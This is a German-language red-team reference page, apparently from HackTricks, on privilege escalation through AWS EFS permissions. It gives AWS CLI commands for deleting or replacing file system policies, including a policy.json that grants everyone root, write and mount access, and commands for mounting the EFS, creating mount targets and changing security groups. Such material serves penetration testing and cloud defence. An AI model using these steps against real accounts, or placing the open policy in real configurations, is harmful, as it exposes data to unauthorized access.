AWS - EFS Privesc

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

EFS

Weitere Informationen zu EFS unter:

pageAWS - EFS Enum

Denken Sie daran, dass Sie zum Einhängen eines EFS in einem Subnetz sein müssen, in dem das EFS freigegeben ist und Zugriff darauf haben (Sicherheitsgruppen). Wenn dies der Fall ist, können Sie es standardmäßig immer einhängen. Wenn es jedoch durch IAM-Richtlinien geschützt ist, müssen Sie die hier erwähnten zusätzlichen Berechtigungen haben, um darauf zuzugreifen.

elasticfilesystem:DeleteFileSystemPolicy|elasticfilesystem:PutFileSystemPolicy

Mit einer dieser Berechtigungen kann ein Angreifer die Dateisystemrichtlinie ändern, um Ihnen den Zugriff darauf zu gewähren, oder sie einfach löschen, damit der Standardzugriff gewährt wird.

Um die Richtlinie zu löschen:

aws efs delete-file-system-policy \
--file-system-id <value>

Um es zu ändern:

aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json

// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}

elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)

Mit dieser Berechtigung kann ein Angreifer das EFS einbinden. Wenn die Schreibberechtigung nicht standardmäßig für alle erteilt wird, die das EFS einbinden können, hat er nur Lesezugriff.

sudo mkdir /efs
sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/

Die zusätzlichen Berechtigungen elasticfilesystem:ClientRootAccess und elasticfilesystem:ClientWrite können verwendet werden, um innerhalb des Dateisystems zu schreiben, nachdem es eingehängt wurde, und um auf dieses Dateisystem als Root zuzugreifen.

Mögliche Auswirkungen: Indirekter Privilege Escalation durch Auffinden sensibler Informationen im Dateisystem.

elasticfilesystem:CreateMountTarget

Wenn ein Angreifer sich in einem Teilnetzwerk befindet, in dem kein Mount-Ziel des EFS existiert, könnte er einfach eines in seinem Subnetz erstellen mit dieser Berechtigung:

# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>

Potenzielle Auswirkungen: Indirekte Privilege Escalation durch Auffinden sensibler Informationen im Dateisystem.

elasticfilesystem:ModifyMountTargetSecurityGroups

In einem Szenario, in dem ein Angreifer feststellt, dass das EFS ein Mount-Ziel in seinem Subnetz hat, aber keine Sicherheitsgruppe den Datenverkehr zulässt, könnte er einfach diese ändern, indem er die ausgewählten Sicherheitsgruppen modifiziert:

aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>

Potenzielle Auswirkungen: Indirekte Privilege Escalation durch Auffinden sensibler Informationen im Dateisystem.

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated